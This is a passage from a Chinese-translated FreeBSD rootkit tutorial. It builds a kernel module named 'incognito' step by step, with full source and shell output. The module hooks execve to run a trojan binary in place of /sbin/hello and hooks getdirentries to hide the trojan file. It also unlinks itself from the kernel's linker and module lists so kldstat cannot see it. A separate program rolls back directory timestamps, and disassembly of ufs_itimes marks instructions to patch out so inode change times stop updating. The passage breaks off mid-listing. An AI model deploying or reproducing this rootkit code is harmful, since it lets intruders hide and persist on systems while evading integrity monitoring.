软件旨在检测根级妥协(例如,系统二进制的篡改)却信任底层操作系统,这有点讽刺。
现在的问题是,“我应该挂钩哪些调用?”答案取决于你想要实现什么。考虑以下场景。你有一台 FreeBSD 机器,在/sbin/目录下安装了列表 6-1 中显示的二进制文件。
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("May the force be with you.\n");
return(0);
}
列表 6-1: hello.c
你想用特洛伊木马版本替换那个二进制文件——这个版本简单地打印不同的调试信息,如列表 6-2 所示——当然,不会触发 HIDS。
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("May the schwartz be with you!\n");
return(0);
}
列表 6-2: trojan_hello.c
这可以通过执行执行重定向(halflife,1997)来实现——这仅仅是切换一个二进制文件的执行到另一个——所以每当有请求执行hello时,你拦截它并执行trojan_hello。这之所以有效,是因为你没有替换(甚至没有触及)原始的二进制文件,因此 HIDS 将始终计算正确的哈希值。
当然,这种方法有一些“小插曲”,但我们将在它们出现时处理它们。
执行重定向
示例 rootkit 中的执行重定向例程是通过挂钩execve系统调用来实现的。这个调用负责文件执行,并在文件/sys/kern/kern_exec.c 中实现如下。
int
execve(td, uap)
struct thread *td;
struct execve_args /* {
char *fname;
char **argv;
char **envv;
} */ *uap;
{
int error;
struct image_args args;
❶error = exec_copyin_args(&args, uap->fname, UIO_USERSPACE,
uap->argv, uap->envv);
if (error == 0)
❷error = kern_execve(td, &args, NULL);
exec_free_args(&args);
return (error);
}
注意execve系统调用❶如何从用户数据空间复制其参数(uap)到一个临时缓冲区(args),然后❷将这个缓冲区传递给kern_execve函数,该函数实际上执行文件。这意味着为了将一个二进制文件的执行重定向到另一个,你只需在execve调用exec_copyin_args之前,在当前进程的用户数据空间中插入一组新的execve参数或更改现有的参数——列表 6-3(基于 Stephanie Wehner 的 exec.c)提供了一个示例。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <vm/vm.h>
#include <vm/vm_page.h>
#include <vm/vm_map.h>
#define ORIGINAL "/sbin/hello"
#define TROJAN "/sbin/trojan_hello"
/*
* execve system call hook.
* Redirects the execution of ORIGINAL into TROJAN.
*/
static int
execve_hook(struct thread *td, void *syscall_args)
{
struct execve_args /* {
char *fname;
char **argv;
char **envv;
} */ *uap;
uap = (struct execve_args *)syscall_args;
struct execve_args kernel_ea;
struct execve_args *user_ea;
struct vmspace *vm;
vm_offset_t base, addr;
char t_fname[] = TROJAN;
/* Redirect this process? */
❶if (strcmp(uap->fname, ORIGINAL) == 0) {
/*
* Determine the end boundary address of the current
* process's user data space.
*/
vm = curthread->td_proc->p_vmspace;
base = round_page((vm_offset_t) vm->vm_daddr);
❷addr = base + ctob(vm->vm_dsize);
/*
* Allocate a PAGE_SIZE null region of memory for a new set
* of execve arguments.
*/
❸vm_map_find(&vm->vm_map, NULL, 0, &addr, PAGE_SIZE, FALSE,
VM_PROT_ALL, VM_PROT_ALL, 0);
vm->vm_dsize += btoc(PAGE_SIZE);
/*
* Set up an execve_args structure for TROJAN. Remember, you
* have to place this structure into user space, and because
* you can't point to an element in kernel space once you are
* in user space, you'll have to place any new "arrays" that
* this structure points to in user space as well.
*/
❹copyout(&t_fname, (char *)addr, strlen(t_fname));
kernel_ea.fname = (char *)addr;
kernel_ea.argv = uap->argv;
kernel_ea.envv = uap->envv;
/* Copy out the TROJAN execve_args structure. */
user_ea = (struct execve_args *)addr + sizeof(t_fname);
❺copyout(&kernel_ea, user_ea, sizeof(struct execve_args));
/* Execute TROJAN. */
❻return(execve(curthread, user_ea));
}
return(execve(td, syscall_args));
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
sysent[SYS_execve].sy_call = (sy_call_t *)execve_hook;
return(0);
}
static moduledata_t incognito_mod = {
"incognito", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(incognito, incognito_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
列表 6-3: incognito-0.1.c
在这个列表中,函数 execve_hook❶ 首先检查要执行的文件名。如果文件名是 /sbin/hello,❷ 当前进程的用户数据空间的结束边界地址存储在 addr 中,然后传递给 ❸ vm_map_find 以在该处映射一个 PAGE_SIZE 大小的 NULL 内存块。接下来,❹ 为 trojan_hello 二进制文件设置一个 execve 参数结构,然后将其 ❺ 插入到新“分配”的用户数据空间中。最后,❻ 使用 execve 调用,其第二个参数是 trojan_hello execve_args 结构的地址——实际上是将 hello 的执行重定向到 trojan_hello。
注意
关于 execve_hook 的一个有趣细节是,经过一两个细微的修改,它就是从内核空间执行用户空间进程所需的精确代码。
还有一点也值得提一下。注意,这次事件处理函数没有卸载系统调用钩子;那将需要重启。这是因为“活”的 rootkit 没有卸载例程的需求——一旦安装,你希望它保持安装状态。
下面的输出显示了示例 rootkit 的运行情况。
`$ hello`
May the force be with you.
`$ trojan_hello`
May the schwartz be with you!
`$ sudo kldload ./incognito-0.1.ko $ hello`
May the schwartz be with you!
太棒了,它工作了。现在我们已经有效地将 hello 木马化了,没有任何 HIDS 会察觉到——除了我们在文件系统中放置了一个新的二进制文件(trojan_hello),任何 HIDS 都会将其标记出来。唉!
文件隐藏
为了解决这个问题,让我们隐藏 trojan_hello,使其不在文件系统中出现。这可以通过挂钩 getdirentries 系统调用来实现。这个调用负责列出(即返回)目录的内容,并在文件 /sys/kern/vfs_syscalls.c 中实现如下。
注意
看看这段代码,并尝试从中找出一些结构。如果你不完全理解它,不要担心。关于 getdirentries 系统调用的解释将在列表之后出现。
int
getdirentries(td, uap)
struct thread *td;
register struct getdirentries_args /* {
int fd;
char *buf;
u_int count;
long *basep;
} */ *uap;
{
struct vnode *vp;
struct file *fp;
struct uio auio;
struct iovec aiov;
int vfslocked;
long loff;
int error, eofflag;
if ((error = getvnode(td->td_proc->p_fd, uap->fd, &fp)) != 0)
return (error);
if ((fp->f_flag & FREAD) == 0) {
fdrop(fp, td);
return (EBADF);
}
vp = fp->f_vnode;
unionread:
vfslocked = VFS_LOCK_GIANT(vp->v_mount);
if (vp->v_type != VDIR) {
error = EINVAL;
goto fail;
}
aiov.iov_base = uap->buf;
aiov.iov_len = uap->count;
auio.uio_iov = &aiov;
auio.uio_iovcnt = 1;
auio.uio_rw = UIO_READ;
auio.uio_segflg = UIO_USERSPACE;
auio.uio_td = td;
auio.uio_resid = uap->count;
/* vn_lock(vp, LK_SHARED | LK_RETRY, td); */
vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, td);
loff = auio.uio_offset = fp->f_offset;
#ifdef MAC
error = mac_check_vnode_readdir(td->td_ucred, vp);
if (error == 0)
#endif
error = VOP_READDIR(vp, &auio, fp->f_cred, &eofflag, NULL,
NULL);
fp->f_offset = auio.uio_offset;
VOP_UNLOCK(vp, 0, td);
if (error)
goto fail;
if (uap->count == auio.uio_resid) {
if (union_dircheckp) {
error = union_dircheckp(td, &vp, fp);
if (error == −1) {
VFS_UNLOCK_GIANT(vfslocked);
goto unionread;
}
if (error)
goto fail;
}
/*
* XXX We could delay dropping the lock above but
* union_dircheckp complicates things.
*/
vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, td);
if ((vp->v_vflag & VV_ROOT) &&
(vp->v_mount->mnt_flag & MNT_UNION)) {
struct vnode *tvp = vp;
vp = vp->v_mount->mnt_vnodecovered;
VREF(vp);
fp->f_vnode = vp;
fp->f_data = vp;
fp->f_offset = 0;
vput(tvp);
VFS_UNLOCK_GIANT(vfslocked);
goto unionread;
}
VOP_UNLOCK(vp, 0, td);
}
if (uap->basep != NULL) {
error = copyout(&loff, uap->basep, sizeof(long));
}
❶td->td_retval[0] = uap->count - auio.uio_resid;
fail:
VFS_UNLOCK_GIANT(vfslocked);
fdrop(fp, td);
return (error);
}
getdirentries 系统调用将目录条目(即文件描述符)fd 指向的内容读取到缓冲区 buf 中。简单来说,getdirentries 获取目录条目。如果成功,返回实际传输的字节数。否则,返回 -1 并将全局变量 errno 设置为指示错误。
将读取到 buf 的目录条目存储为一系列 dirent 结构,这些结构在 <sys/dirent.h> 头文件中定义如下:
struct dirent {
__uint32_t d_fileno; /* inode number */
__uint16_t d_reclen; /* length of this directory entry */
__uint8_t d_type; /* file type */
__uint8_t d_namlen; /* length of the filename */
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN + 1]; /* filename */
#else
char d_name[255 + 1]; /* filename */
#endif
};
如此列表所示,每个目录条目的上下文都保存在一个 dirent 结构中。这意味着为了在文件系统中隐藏一个文件,你只需防止 getdirentries 将文件的 dirent 结构存储在 buf 中。列表 6-4 是一个示例 rootkit,它被调整为执行此操作(基于 pragmatic 的文件隐藏例程,1999)。
注意
为了节省空间,我没有完整地重新列出执行重定向例程(即 execve_hook 函数)。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/malloc.h>
#include <vm/vm.h>
#include <vm/vm_page.h>
#include <vm/vm_map.h>
#include <dirent.h>
#define ORIGINAL "/sbin/hello"
#define TROJAN "/sbin/trojan_hello"
#define T_NAME "trojan_hello"
/*
* execve system call hook.
* Redirects the execution of ORIGINAL into TROJAN.
*/
static int
execve_hook(struct thread *td, void *syscall_args)
{
. . .
}
/*
* getdirentries system call hook.
* Hides the file T_NAME.
*/
static int
getdirentries_hook(struct thread *td, void *syscall_args)
{
struct getdirentries_args /* {
int fd;
char *buf;
u_int count;
long *basep;
} */ *uap;
uap = (struct getdirentries_args *)syscall_args;
struct dirent *dp, *current;
unsigned int size, count;
/*
* Store the directory entries found in fd in buf, and record the
* number of bytes actually transferred.
*/
❶getdirentries(td, syscall_args);
size = td->td_retval[0];
/* Does fd actually contain any directory entries? */
❷if (size > 0) {
MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT);
❸copyin(uap->buf, dp, size);
current = dp;
count = size;
/*
* Iterate through the directory entries found in fd.
* Note: The last directory entry always has a record length
* of zero.
*/
while ((current->d_reclen != 0) && (count > 0)) {
count -= current->d_reclen;
/* Do we want to hide this file? */
❹if(strcmp((char *)&(current->d_name), T_NAME) == 0)
{
/*
* Copy every directory entry found after
* T_NAME over T_NAME, effectively cutting it
* out.
*/
if (count != 0)
❺bcopy((char *)current +
current->d_reclen, current,
count);
size -= current->d_reclen;
break;
}
/*
* Are there still more directory entries to
* look through?
*/
if (count != 0)
/* Advance to the next record. */
current = (struct dirent *)((char *)current +
current->d_reclen);
}
/*
* If T_NAME was found in fd, adjust the "return values" to
* hide it. If T_NAME wasn't found...don't worry 'bout it.
*/
❻td->td_retval[0] = size;
❼copyout(dp, uap->buf, size);
FREE(dp, M_TEMP);
}
return(0);
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
sysent[SYS_execve].sy_call = (sy_call_t *)execve_hook;
sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;
return(0);
}
static moduledata_t incognito_mod = {
"incognito", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(incognito, incognito_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
列表 6-4:incognito-0.2.c
在此代码中,函数 getdirentries_hook ❶ 首先调用 getdirentries 以将 fd 中找到的目录条目存储到 buf 中。接下来,❷ 检查实际传输的字节数,如果大于零(即,如果 fd 实际上包含任何目录条目),❸ 则将 buf(它是一系列 dirent 结构)的内容复制到内核空间。之后,❹ 将每个 dirent 结构的文件名与常量 T_NAME(在这种情况下为 trojan_hello)进行比较。如果找到匹配项,❺ 则将“幸运”的 dirent 结构从 buf 的内核空间副本中移除,最终 ❼ 复制出来,覆盖 buf 的内容,从而有效地隐藏 T_NAME(即,trojan_hello)。此外,为了保持一致性,❻ 调整实际传输的字节数以补偿“丢失”此 dirent 结构。
现在,如果你安装新的根工具包,你会得到:
`$ ls /sbin/t*`
/sbin/trojan_hello /sbin/tunefs
`$ sudo kldload ./incognito-0.2.ko $ hello`
May the schwartz be with you!
`$ ls /sbin/t*`
/sbin/tunefs
太棒了。我们现在已经有效地木马化了 hello,而没有在文件系统中留下任何痕迹.^([1]) 当然,这一切都没有关系,因为简单的 kldstat(8) 就会揭示根工具包:
$ `kldstat`
Id Refs Address Size Name
1 4 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
3 1 0xc1ebc000 2000 incognito-0.2.ko
真糟糕!
^([1]) ¹ 实际上,你仍然可以用 ls /sbin/trojan_hello 找到 trojan_hello,因为直接查找没有被阻止。阻止文件直接查找并不太难,但很麻烦。你需要挂钩 open(2)、stat(2) 和 lstat(2),并在文件是 /sbin/trojan_hello 时让它们返回 ENOENT。
隐藏一个 KLD
为了解决这个问题,我们将使用一些 DKOM 来隐藏根工具包,技术上讲,这是一个 KLD。
回想一下 第一章,每次将 KLD 加载到内核时,实际上是在加载一个包含一个或多个内核模块的链接文件。因此,每次加载 KLD 时,它都会存储在两个不同的列表中:linker_files 和 modules。正如它们的名称所暗示的,linker_files 包含加载的链接文件集合,而 modules 包含加载的内核模块集合。
与之前的 DKOM 代码一样,KLD 隐藏例程将以安全的方式遍历这两个列表并移除您选择的结构。
链接文件列表
linker_files 列表在文件 /sys/kern/kern_linker.c 中定义如下:
static linker_file_list_t linker_files;
注意,linker_files 被声明为 linker_file_list_t 类型,该类型在 <sys/linker.h> 头文件中定义如下:
typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
从这些列表中,你可以看到 linker_files 只是一个 linker_file 结构的双向链尾队列。
关于 linker_files 的一个有趣细节是它有一个关联的计数器,该计数器在文件 /sys/kern/kern_linker.c 中定义如下:
static int next_file_id = 1;
当加载链接文件时(即,每当向 linker_files 添加条目时),其文件 ID 号成为 next_file_id 的当前值,然后增加一。
关于 linker_files 的另一个有趣细节是,与本书中的其他列表不同,它没有由专门的锁保护;这迫使我们使用 Giant。Giant 大概是“万用”锁,旨在保护整个内核。它在 <sys/mutex.h> 头文件中定义如下:
extern struct mtx Giant;
备注
在 FreeBSD 6.0 中,linker_files 确实有一个关联的锁,该锁名为 kld_mtx。然而,kld_mtx 并没有真正保护 linker_files,这就是我们为什么使用 Giant 的原因。在 FreeBSD 7 版本中,linker_files 由一个 sx 锁保护。
链接文件结构
每个链接文件的内容都保存在一个 linker_file 结构体中,该结构体在 <sys/linker.h> 头文件中定义。以下列表描述了 struct linker_file 结构体中的字段,这些字段是你为了隐藏链接文件需要了解的。
内部引用;
此字段维护链接文件的引用计数。
需要注意的一个重要点是,linker_files 中的第一个 linker_file 结构体是当前内核镜像,每当加载一个链接文件时,此结构体的 refs 字段会增加一,如下所示:
$ `kldstat`
Id Refs Address Size Name
1 3 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
$ `sudo kldload ./incognito-0.2.ko`
$ `kldstat`
Id Refs Address Size Name
1 4 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
3 1 0xc1e89000 2000 incognito-0.2.ko
如你所见,在加载 incognito-0.2.ko 之前,当前内核镜像的引用计数是 3,但之后变为 4。因此,在隐藏链接文件时,你必须记得将当前内核镜像的 refs 字段减一。
TAILQ_ENTRY(linker_file) link;
此字段包含与 linker_file 结构体关联的链接指针,该结构体存储在 linker_files 列表中。在插入、删除和遍历 linker_files 时会引用此字段。
char* filename;
此字段包含链接文件的名称。
模块列表
modules 列表在文件 /sys/kern/kern_module.c 中定义,如下所示:
static modulelist_t modules;
注意到 modules 被声明为 modulelist_t 类型,该类型在文件 /sys/kern/kern_module.c 中定义如下:
typedef TAILQ_HEAD(, module) modulelist_t;
从这些列表中,你可以看到 modules 只是一个 module 结构体的双链表尾队列。
与 linker_files 列表一样,modules 也有一个关联的计数器,该计数器在文件 /sys/kern/kern_module.c 中定义如下:
static int nextid = 1;
对于每个加载的内核模块,其 modid 变为 nextid 的当前值,然后 nextid 增加一。
与 modules 列表相关的资源访问控制定义在 <sys/module.h> 头文件中,如下所示:
extern struct sx modules_sx;
模块结构
每个内核模块的内容都保存在一个 module 结构体中,该结构体在文件 /sys/kern/kern_module.c 中定义。以下列表描述了 struct module 结构体中的字段,这些字段是你为了隐藏内核模块需要了解的。
TAILQ_ENTRY(module) link;
此字段包含与 module 结构体关联的链接指针,该结构体存储在 modules 列表中。在插入、删除和遍历 modules 时会引用此字段。
char* name;
此字段包含内核模块的名称。
示例
列表 6-5 展示了新的改进版的 rootkit,它现在可以隐藏自己。它通过从 linker_files 和 modules 列表中移除其 linker_file 和 module 结构来实现。为了保持一致性,它还将当前内核映像的引用计数、链接文件计数器(next_file_id)和模块计数器(nextid)减一。
注意
为了节省空间,我没有重新列出执行重定向和文件隐藏例程。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/malloc.h>
#include <sys/linker.h>
#include <sys/lock.h>
#include <sys/mutex.h>
#include <vm/vm.h>
#include <vm/vm_page.h>
#include <vm/vm_map.h>
#include <dirent.h>
#define ORIGINAL "/sbin/hello"
#define TROJAN "/sbin/trojan_hello"
#define T_NAME "trojan_hello"
#define VERSION "incognito-0.3.ko"
/*
* The following is the list of variables you need to reference in order
* to hide this module, which aren't defined in any header files.
*/
extern linker_file_list_t linker_files;
extern struct mtx kld_mtx;
extern int next_file_id;
typedef TAILQ_HEAD(, module) modulelist_t;
extern modulelist_t modules;
extern int nextid;
struct module {
TAILQ_ENTRY(module) link; /* chain together all modules */
TAILQ_ENTRY(module) flink; /* all modules in a file */
struct linker_file *file; /* file which contains this module */
int refs; /* reference count */
int id; /* unique id number */
char *name; /* module name */
modeventhand_t handler; /* event handler */
void *arg; /* argument for handler */
modspecific_t data; /* module specific data */
};
/*
* execve system call hook.
* Redirects the execution of ORIGINAL into TROJAN.
*/
static int
execve_hook(struct thread *td, void *syscall_args)
{
. . .
}
/*
* getdirentries system call hook.
* Hides the file T_NAME.
*/
static int
getdirentries_hook(struct thread *td, void *syscall_args)
{
. . .
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
struct linker_file *lf;
struct module *mod;
mtx_lock(&Giant);
mtx_lock(&kld_mtx);
/* Decrement the current kernel image's reference count. */
(&linker_files)->tqh_first->refs--;
/*
* Iterate through the linker_files list, looking for VERSION.
* If found, decrement next_file_id and remove from list.
*/
TAILQ_FOREACH(lf, &linker_files, link) {
if (strcmp(lf->filename, VERSION) == 0) {
next_file_id--;
TAILQ_REMOVE(&linker_files, lf, link);
break;
}
}
mtx_unlock(&kld_mtx);
mtx_unlock(&Giant);
sx_xlock(&modules_sx);
/*
* Iterate through the modules list, looking for "incognito."
* If found, decrement nextid and remove from list.
*/
TAILQ_FOREACH(mod, &modules, link) {
if (strcmp(mod->name, "incognito") == 0) {
nextid--;
TAILQ_REMOVE(&modules, mod, link);
break;
}
}
sx_xunlock(&modules_sx);
sysent[SYS_execve].sy_call = (sy_call_t *)execve_hook;
sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;
return(0);
}
static moduledata_t incognito_mod = {
"incognito", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(incognito, incognito_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
列表 6-5:incognito-0.3.c
现在,加载上述 KLD 给我们:
$ `kldstat`
Id Refs Address Size Name
1 3 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
$ `sudo kldload ./incognito-0.3.ko`
$ `hello`
May the schwartz be with you!
$ `ls /sbin/t*`
/sbin/tunefs
$ `kldstat`
Id Refs Address Size Name
1 3 0xc0400000 63070c kernel
2 16 0xc0a31000 568dc acpi.ko
注意 kldstat(8) 的输出在安装 rootkit 前后是相同的——太棒了!
在这一点上,你可以将 hello 的执行重定向到 trojan_hello,同时隐藏 trojan_hello 和 rootkit 本身(这随后使得它不可卸载)。只有一个问题。当你将 trojan_hello 安装到 /sbin/ 中时,目录的访问、修改和更改时间会更新——这是一个明显的迹象,表明出了问题。
防止访问、修改和更改时间更新
因为文件上的访问和修改时间可以被设置,所以你只需通过回滚它们来“防止”它们更新。列表 6-6 展示了如何做到这一点:
#include <errno.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
int
main(int argc, char *argv[])
{
struct stat sb;
struct timeval time[2];
❶if (stat("/sbin", &sb) < 0) {
fprintf(stderr, "STAT ERROR: %d\n", errno);
exit(-1);
}
❷time[0].tv_sec = sb.st_atime;
time[1].tv_sec = sb.st_mtime;
/*
* Do something to /sbin/.
*/
❸if (utimes("/sbin", (struct timeval *)&time) < 0) {
fprintf(stderr, "UTIMES ERROR: %d\n", errno);
exit(-1);
}
exit(0);
}
列表 6-6:rollback.c
之前的代码首先 ❶ 调用 stat 函数来获取 /sbin/ 目录的文件系统信息。这个信息被放置在变量 sb 中,这是一个由 <sys/stat.h> 头文件定义的 stat 结构。与我们的讨论相关的 struct stat 字段如下:
time_t st_atime; /* time of last access */
time_t st_mtime; /* time of last data modification */
接下来,❷ /sbin/ 的访问和修改时间存储在 time[] 中,这是一个包含两个 timeval 结构的数组,在 <sys/_timeval.h> 头文件中定义如下:
struct timeval {
long tv_sec; /* seconds */
suseconds_t tv_usec; /* and microseconds */
};
最后,❸ 调用 utimes 函数来设置(或回滚)/sbin/ 的访问和修改时间,有效地“防止”它们更新。
更改时间
不幸的是,更改时间不能被设置或回滚,因为这会违反其预期目的,即记录所有文件状态变化,包括对访问或修改时间的“纠正”。负责更新 inode 更改时间(以及其访问和修改时间)的函数是 ufs_itimes,它在文件 /sys/ufs/ufs/ufs_vnops.c 中实现如下:
void
ufs_itimes(vp)
struct vnode *vp;
{
struct inode *ip;
struct timespec ts;
ip = VTOI(vp);
if ((ip->i_flag &(IN_ACCESS | IN_CHANGE | IN_UPDATE)) == 0)
return;
if ((vp->v_type == VBLK || vp->v_type == VCHR) && !DOINGSOFTDEP(vp))
ip->i_flag |= IN_LAZYMOD;
else
ip->i_flag |= IN_MODIFIED;
if ((vp->v_mount->mnt_flag & MNT_RDONLY) == 0) {
vfs_timestamp(&ts);
if (ip->i_flag &IN_ACCESS) {
DIP_SET(ip, i_atime, ts.tv_sec);
DIP_SET(ip, i_atimensec, ts.tv_nsec);
}
if (ip->i_flag &IN_UPDATE) {
DIP_SET(ip, i_mtime, ts.tv_sec);
DIP_SET(ip, i_mtimensec, ts.tv_nsec);
ip->i_modrev++;
}
if (ip->i_flag &IN_CHANGE) {
`DIP_SET(ip, i_ctime, ts.tv_sec); DIP_SET(ip, i_ctimensec, ts.tv_nsec);`
}
}
ip->i_flag &= ~(IN_ACCESS | IN_CHANGE | IN_UPDATE);
}
如果你将加粗的行 nop 出来,你可以有效地防止对 inode 更改时间的所有更新。
话虽如此,你需要知道这些行(即 DIP_SET 宏)在加载到主内存后看起来是什么样子。
`$ nm /boot/kernel/kernel | grep ufs_itimes`
c06c0e60 T ufs_itimes
`$ objdump -d --start-address=0xc06c0e60 /boot/kernel/kernel`
/boot/kernel/kernel: file format elf32-i386-freebsd
Disassembly of section .text:
c06c0e60 <ufs_itimes>:
c06c0e60: 55 push %ebp
c06c0e61: 89 e5 mov %esp,%ebp
c06c0e63: 83 ec 14 sub $0x14,%esp
c06c0e66: 89 5d f8 mov %ebx,0xfffffff8(%ebp)
c06c0e69: 8b 4d 08 mov 0x8(%ebp),%ecx
c06c0e6c: 89 75 fc mov %esi,0xfffffffc(%ebp)
c06c0e6f: 8b 59 0c mov 0xc(%ecx),%ebx
c06c0e72: 8b 53 10 mov 0x10(%ebx),%edx
c06c0e75: f6 c2 07 test $0x7,%dl
c06c0e78: 74 1f je c06c0e99 <ufs_itimes+0x39>
c06c0e7a: 8b 01 mov (%ecx),%eax
c06c0e7c: 83 e8 03 sub $0x3,%eax
c06c0e7f: 83 f8 01 cmp $0x1,%eax
c06c0e82: 76 1f jbe c06c0ea3 <ufs_itimes+0x43>
c06c0e84: 83 ca 08 or $0x8,%edx
c06c0e87: 89 53 10 mov %edx,0x10(%ebx)
c06c0e8a: 8b 41 10 mov 0x10(%ecx),%eax
c06c0e8d: f6 40 6c 01 testb $0x1,0x6c(%eax)
c06c0e91: 74 2d je c06c0ec0 <ufs_itimes+0x60>
c06c0e93: 83 e2 f8 and $0xfffffff8,%edx
c06c0e96: 89 53 10 mov %edx,0x10(%ebx)
c06c0e99: 8b 5d f8 mov 0xfffffff8(%ebp),%ebx
c06c0e9c: 8b 75 fc mov 0xfffffffc(%ebp),%esi
c06c0e9f: 89 ec mov %ebp,%esp
c06c0ea1: 5d pop %ebp
c06c0ea2: c3 ret
c06c0ea3: 8b 41 10 mov 0x10(%ecx),%eax
c06c0ea6: f6 40 6e 20 testb $0x20,0x6e(%eax)
c06c0eaa: 75 d8 jne c06c0e84 <ufs_itimes+0x24>
c06c0eac: 83 ca 40 or $0x40,%edx
c06c0eaf: 89 53 10 mov %edx,0x10(%ebx)
c06c0eb2: 8b 41 10 mov 0x10(%ecx),%eax
c06c0eb5: f6 40 6c 01 testb $0x1,0x6c(%eax)
c06c0eb9: 75 d8 jne c06c0e93 <ufs_itimes+0x33>
c06c0ebb: 90 nop
c06c0ebc: 8d 74 26 00 lea 0x0(%esi),%esi
c06c0ec0: 8d 75 f0 lea 0xfffffff0(%ebp),%esi
c06c0ec3: 89 34 24 mov %esi,(%esp)
c06c0ec6: e8 f5 08 ef ff call c05b17c0 <vfs_timestamp>
c06c0ecb: 8b 53 10 mov 0x10(%ebx),%edx
c06c0ece: f6 c2 01 test $0x1,%dl
c06c0ed1: 74 3d je c06c0f10 <ufs_itimes+0xb0>
c06c0ed3: 8b 43 0c mov 0xc(%ebx),%eax
c06c0ed6: 83 78 14 01 cmpl $0x1,0x14(%eax)
c06c0eda: 0f 84 bd 00 00 00 je c06c0f9d <ufs_itimes+0x13d>
c06c0ee0: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
c06c0ee3: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0ee9: 89 c1 mov %eax,%ecx
`c06c0eeb: 89 42 20 mov %eax,0x20(%edx)`
c06c0eee: c1 f9 1f sar $0x1f,%ecx
`c06c0ef1: 89 4a 24 mov %ecx,0x24(%edx)`
c06c0ef4: 8b 43 0c mov 0xc(%ebx),%eax
c06c0ef7: 83 78 14 01 cmpl $0x1,0x14(%eax)
c06c0efb: 0f 84 f1 00 00 00 je c06c0ff2 <ufs_itimes+0x192>
c06c0f01: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0f07: 8b 46 04 mov 0x4(%esi),%eax
c06c0f0a: 89 42 44 mov %eax,0x44(%edx)
c06c0f0d: 8b 53 10 mov 0x10(%ebx),%edx
c06c0f10: f6 c2 04 test $0x4,%dl
c06c0f13: 74 45 je c06c0f5a <ufs_itimes+0xfa>
c06c0f15: 8b 43 0c mov 0xc(%ebx),%eax
c06c0f18: 83 78 14 01 cmpl $0x1,0x14(%eax)
c06c0f1c: 0f 84 bf 00 00 00 je c06c0fe1 <ufs_itimes+0x181>
c06c0f22: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
c06c0f25: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0f2b: 89 c1 mov %eax,%ecx
`c06c0f2d: 89 42 28 mov %eax,0x28(%edx)`
c06c0f30: c1 f9 1f sar $0x1f,%ecx
`c06c0f33: 89 4a 2c mov %ecx,0x2c(%edx)`
c06c0f36: 8b 43 0c mov 0xc(%ebx),%eax
c06c0f39: 83 78 14 01 cmpl $0x1,0x14(%eax)
c06c0f3d: 0f 84 8d 00 00 00 je c06c0fd0 <ufs_itimes+0x170>
c06c0f43: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0f49: 8b 46 04 mov 0x4(%esi),%eax
c06c0f4c: 89 42 40 mov %eax,0x40(%edx)
c06c0f4f: 83 43 2c 01 addl $0x1,0x2c(%ebx)
c06c0f53: 8b 53 10 mov 0x10(%ebx),%edx
c06c0f56: 83 53 30 00 adcl $0x0,0x30(%ebx)
c06c0f5a: f6 c2 02 test $0x2,%dl
c06c0f5d: 0f 84 30 ff ff ff je c06c0e93 <ufs_itimes+0x33>
c06c0f63: 8b 43 0c mov 0xc(%ebx),%eax
c06c0f66: 83 78 14 01 cmpl $0x1,0x14(%eax)
c06c0f6a: 74 56 je c06c0fc2 <ufs_itimes+0x162>
c06c0f6c: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
c06c0f6f: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0f75: 89 c1 mov %eax,%ecx
`c06c0f77: 89 42 30 mov %eax,0x30(%edx)`
c06c0f7a: c1 f9 1f sar $0x1f,%ecx
`c06c0f7d: 89 4a 34 mov %ecx,0x34(%edx)`
c06c0f80: 8b 43 0c mov 0xc(%ebx),%eax
c06c0f83: 83 78 14 01 cmpl $0x1,0x14(%eax)
c06c0f87: 74 25 je c06c0fae <ufs_itimes+0x14e>
c06c0f89: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0f8f: 8b 46 04 mov 0x4(%esi),%eax
c06c0f92: 89 42 48 mov %eax,0x48(%edx)
c06c0f95: 8b 53 10 mov 0x10(%ebx),%edx
c06c0f98: e9 f6 fe ff ff jmp c06c0e93 <ufs_itimes+0x33>
c06c0f9d: 8b 93 80 00 00 00 mov 0x80(%ebx),%edx
c06c0fa3: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
c06c0fa6: 89 42 10 mov %eax,0x10(%edx)
